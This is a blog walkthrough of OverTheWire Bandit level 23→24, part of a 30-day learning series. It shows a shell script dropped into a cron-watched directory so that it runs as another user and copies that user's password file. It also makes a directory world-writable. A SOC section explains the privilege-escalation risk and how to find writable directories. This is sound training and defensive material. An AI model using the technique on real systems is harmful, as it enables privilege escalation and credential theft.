June 24, 2026
OverTheWire Bandit Walkthrough — Level 23 → 24 | 30-Day Cybersecurity Learning Journey (Day 23)
Writing your first exploit shell script and deploying it through a cron-watched directory and why this level represents the most…

By William | Cybersecurity & SOC Analyst
7 min read
Writing your first exploit shell script and deploying it through a cron-watched directory and why this level represents the most significant step in the entire series so far.
Introduction
Day 23. Bandit Level 23 to Level 24. Every level up to this point has involved reading something that already existed. A file, a script, a cron output. This level inverts that entirely. There is a cron job running as bandit24 that automatically executes any script dropped into a specific directory, then deletes it. To retrieve the next password, a script must be written from scratch, made executable, given the right permissions and deployed into that watched directory before the next cron cycle fires.
This is the first level where the solution is code you write yourself. The OverTheWire page flags this explicitly as a significant milestone. It is. Writing a shell script that executes under another user's context through a cron mechanism is a foundational technique in both legitimate automation and privilege escalation. Understanding what has to happen, in which order and why, is what this level teaches.
By the end of this article you will know how to write a shell script, set correct executable permissions, make a directory world-writable for the cron process and deploy the script to a watched location while waiting for cron to pick it up and execute it.
Level Objective
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed. This level requires writing your own shell script. The script will be removed once executed, so keeping a copy in a working directory is essential. The suggested commands include chmod, cron, crontab and man 5 crontab.
Approach
I connected from my local Kali machine using the password retrieved from the previous level:
ssh bandit23@bandit.labs.overthewire.org -p 2220ssh bandit23@bandit.labs.overthewire.org -p 2220The full Bandit ASCII art banner loaded and the prompt changed to bandit23@bandit:~$.
I ran ls -la on the home directory. Nothing unusual was present. Having learned from the previous two levels, I already knew that /etc/cron.d/cronjob_bandit24 would point to a script in /usr/bin/ that ran every minute as bandit24 and executed scripts dropped into /var/spool/bandit24/. The key constraint from the OverTheWire instructions was that each script gets deleted after execution, making the working directory approach essential.
I created a dedicated working directory first:
mkdir -p /tmp/james23lab
cd /tmp/james23lab
ls -ld /tmp/james23labmkdir -p /tmp/james23lab
cd /tmp/james23lab
ls -ld /tmp/james23labThe listing confirmed the directory was owned by bandit23. I then wrote the exploit script. The script needed to do one thing: read the password for bandit24 and write it somewhere I could read it. I created it using echo with the script content redirected into a new file:
echo '#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/james23lab/pass.txt' > /tmp/james23lab/getpass.shecho '#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/james23lab/pass.txt' > /tmp/james23lab/getpass.shI verified the contents were correct:
cat /tmp/james23lab/getpass.shcat /tmp/james23lab/getpass.shThe output confirmed the script contained the shebang line and the cat command pointing to my working directory. Next came the two critical permission steps. The script needed to be executable so cron could run it. The working directory needed to be world-writable so bandit24's process could create pass.txt inside it:
chmod 755 /tmp/james23lab/getpass.sh
chmod 777 /tmp/james23labchmod 755 /tmp/james23lab/getpass.sh
chmod 777 /tmp/james23labWith permissions set correctly I deployed the script to the watched directory:
cp /tmp/james23lab/getpass.sh /var/spool/bandit24/foo/cp /tmp/james23lab/getpass.sh /var/spool/bandit24/foo/I then attempted to read the output file. The first attempt failed because cron had not yet fired:
cat /tmp/james23lab/pass.txtcat /tmp/james23lab/pass.txtcat: /tmp/james23lab/pass.txt: No such file or directory
I waited for the next cron cycle and ran the same command again. The password printed to the terminal.
Commands Used
# Connect to the Bandit server as bandit23 using the Level 23 password
ssh bandit23@bandit.labs.overthewire.org -p 2220
# List the home directory
ls -la
# Create a working directory in /tmp
mkdir -p /tmp/james23lab
cd /tmp/james23lab
# Confirm directory ownership and permissions
ls -ld /tmp/james23lab
# Write the exploit script
echo '#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/james23lab/pass.txt' > /tmp/james23lab/getpass.sh
# Verify the script content before deploying
cat /tmp/james23lab/getpass.sh
# Make the script executable
chmod 755 /tmp/james23lab/getpass.sh
# Make the working directory world-writable for the cron process output
chmod 777 /tmp/james23lab
# Deploy the script to the cron-watched directory
cp /tmp/james23lab/getpass.sh /var/spool/bandit24/foo/
# Wait for cron to fire then read the output
cat /tmp/james23lab/pass.txt# Connect to the Bandit server as bandit23 using the Level 23 password
ssh bandit23@bandit.labs.overthewire.org -p 2220
# List the home directory
ls -la
# Create a working directory in /tmp
mkdir -p /tmp/james23lab
cd /tmp/james23lab
# Confirm directory ownership and permissions
ls -ld /tmp/james23lab
# Write the exploit script
echo '#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/james23lab/pass.txt' > /tmp/james23lab/getpass.sh
# Verify the script content before deploying
cat /tmp/james23lab/getpass.sh
# Make the script executable
chmod 755 /tmp/james23lab/getpass.sh
# Make the working directory world-writable for the cron process output
chmod 777 /tmp/james23lab
# Deploy the script to the cron-watched directory
cp /tmp/james23lab/getpass.sh /var/spool/bandit24/foo/
# Wait for cron to fire then read the output
cat /tmp/james23lab/pass.txtCommand Breakdown
mkdir -p /tmp/james23lab Creates a working directory in /tmp with a unique name. The -p flag prevents errors if the directory already exists. Having a dedicated workspace keeps the exploit organised and ensures the output file ends up in a predictable location.
echo '#!/bin/bash\ncat ...' > getpass.sh Writes the script content to a file using output redirection. The shebang #!/bin/bash tells the system to execute the script using bash. The cat command reads bandit24's password file (which only bandit24 can access) and redirects the output into the working directory's pass.txt file.
chmod 755 /tmp/james23lab/getpass.sh Sets the script as executable by all users. Without this, cron's process cannot execute the script even after finding it in the watched directory.
chmod 777 /tmp/james23lab Sets the working directory as fully accessible to all users. This is required because the script runs as bandit24, not as bandit23. When it writes pass.txt into the working directory, the directory must allow writes from bandit24's process or the write will fail silently.
cp /tmp/james23lab/getpass.sh /var/spool/bandit24/foo/ Deploys the script to the directory that the bandit24 cron job watches. The original copy remains in the working directory since the deployed copy is deleted after execution.
Lesson Learned
The main technical takeaway is that permissions need to be set for the process that will execute the script, not for the user who wrote it. The two chmod steps address two separate permission requirements: executable on the script for the cron process, and writable on the working directory for the same process's output. Getting either of these wrong causes a silent failure with no obvious error message.
The failed first cat pass.txt attempt is worth documenting explicitly. It confirms the script had not yet been executed and serves as a reminder that cron fires at scheduled intervals, not immediately on command. Patience is a legitimate part of the workflow here. Waiting for the next cron cycle is not a mistake. It is the expected process.
The OverTheWire warning about the script being deleted after execution is also the reason the original copy stays in the working directory rather than being moved. Keeping the copy means the script can be redeployed if needed and provides evidence of exactly what was submitted.
echo 'content' > filename— write content to a new file using echo and output redirectionchmod 755 script.sh— set a script as executable while keeping group and other as read-onlychmod 777 directory— make a directory fully accessible to all users including other accountsls -ld directory— check a directory's own permissions rather than its contentscp original /watched/directory/— keep the original when deploying to a directory that deletes on execution
🔴 SOC Analyst Insight
Cron-watched script drop directories are a well-documented attack surface on Linux systems. Any directory that a cron job monitors for scripts and automatically executes, if writable by an unprivileged user, becomes a direct privilege escalation path. An attacker who identifies such a directory can drop a script that adds a backdoor, copies a sensitive file or establishes persistence, with the cron mechanism providing the execution context of a higher-privileged user.
# Identify world-writable directories that might be monitored by cron processes
find /var/spool /tmp /var/tmp -type d -perm -o+w 2>/dev/null# Identify world-writable directories that might be monitored by cron processes
find /var/spool /tmp /var/tmp -type d -perm -o+w 2>/dev/nullThe command above searches common staging directories for world-writable locations. During a privilege escalation assessment or post-compromise investigation, any world-writable directory that appears in a cron job definition is an immediate high-priority finding. This level demonstrates exactly why: a script dropped there runs as a different, more privileged user with no further interaction required from the attacker.
Key Takeaway
This level is the first in the series that requires actively writing and deploying code rather than reading and interpreting code that already exists. That shift from passive analysis to active creation represents a meaningful step forward. The permissions required, executable on the script and writable on the output directory, both need to reflect the context of the process doing the executing, not the user doing the writing. Understanding that distinction is what makes the difference between a script that deploys cleanly and one that fails silently.
30-Day Cybersecurity Learning Journey — Progress
🟢 Open Day — Setup & Series Introduction | OverTheWire Bandit
✅ Day 0. — Bandit Level 0 | First Login
✅ Day 1. — Bandit Level 1 → 2 | Special Characters
✅ Day 2. — Bandit Level 2 → 3 | Spaces in Filenames
✅ Day 3. — Bandit Level 3 → 4 | Hidden Files
✅ Day 4. — Bandit Level 4 → 5 | File Types
✅ Day 5. — Bandit Level 5 → 6 | find with Properties
✅ Day 6. — Bandit Level 6 → 7 | find across Filesystem
✅ Day 7. — Bandit Level 7 → 8 | grep
✅ Day 8. — Bandit Level 8 → 9 | sort and uniq
✅ Day 9. — Bandit Level 9 → 10 | strings and grep
✅ Day 10. — Bandit Level 10 → 11 | base64
✅ Day 11. — Bandit Level 11 → 12 | ROT13 and tr
✅ Day 12. — Bandit Level 12 → 13 | hexdump and compression
✅ Day 13. — Bandit Level 13 → 14 | SSH keys
✅ Day 14. — Bandit Level 14 → 15 | Netcat
✅ Day 15. — Bandit Level 15 → 16 | SSL and OpenSSL
✅ Day 16. — Bandit Level 16 → 17 | Port Scanning
✅ Day 17. — Bandit Level 17 → 18 | diff
✅ Day 18. — Bandit Level 18 → 19 | SSH command execution
✅ Day 19. — Bandit Level 19 → 20 | Setuid binaries
✅ Day 20. — Bandit Level 20 → 21 | Network services
✅ Day 21. — Bandit Level 21 → 22 | Cron jobs
✅ Day 22. — Bandit Level 22 → 23 | Cron and bash scripting
✅ Day 23. — Bandit Level 23 → 24 | Writing cron scripts ← today
⬜ Day 24. — Bandit Level 24 → 25 | coming next🟢 Open Day — Setup & Series Introduction | OverTheWire Bandit
✅ Day 0. — Bandit Level 0 | First Login
✅ Day 1. — Bandit Level 1 → 2 | Special Characters
✅ Day 2. — Bandit Level 2 → 3 | Spaces in Filenames
✅ Day 3. — Bandit Level 3 → 4 | Hidden Files
✅ Day 4. — Bandit Level 4 → 5 | File Types
✅ Day 5. — Bandit Level 5 → 6 | find with Properties
✅ Day 6. — Bandit Level 6 → 7 | find across Filesystem
✅ Day 7. — Bandit Level 7 → 8 | grep
✅ Day 8. — Bandit Level 8 → 9 | sort and uniq
✅ Day 9. — Bandit Level 9 → 10 | strings and grep
✅ Day 10. — Bandit Level 10 → 11 | base64
✅ Day 11. — Bandit Level 11 → 12 | ROT13 and tr
✅ Day 12. — Bandit Level 12 → 13 | hexdump and compression
✅ Day 13. — Bandit Level 13 → 14 | SSH keys
✅ Day 14. — Bandit Level 14 → 15 | Netcat
✅ Day 15. — Bandit Level 15 → 16 | SSL and OpenSSL
✅ Day 16. — Bandit Level 16 → 17 | Port Scanning
✅ Day 17. — Bandit Level 17 → 18 | diff
✅ Day 18. — Bandit Level 18 → 19 | SSH command execution
✅ Day 19. — Bandit Level 19 → 20 | Setuid binaries
✅ Day 20. — Bandit Level 20 → 21 | Network services
✅ Day 21. — Bandit Level 21 → 22 | Cron jobs
✅ Day 22. — Bandit Level 22 → 23 | Cron and bash scripting
✅ Day 23. — Bandit Level 23 → 24 | Writing cron scripts ← today
⬜ Day 24. — Bandit Level 24 → 25 | coming nextFollow along with the series as I document each level, command and lesson learned.
Writing the script is the easy part. Setting the right permissions for the right process is what makes it work.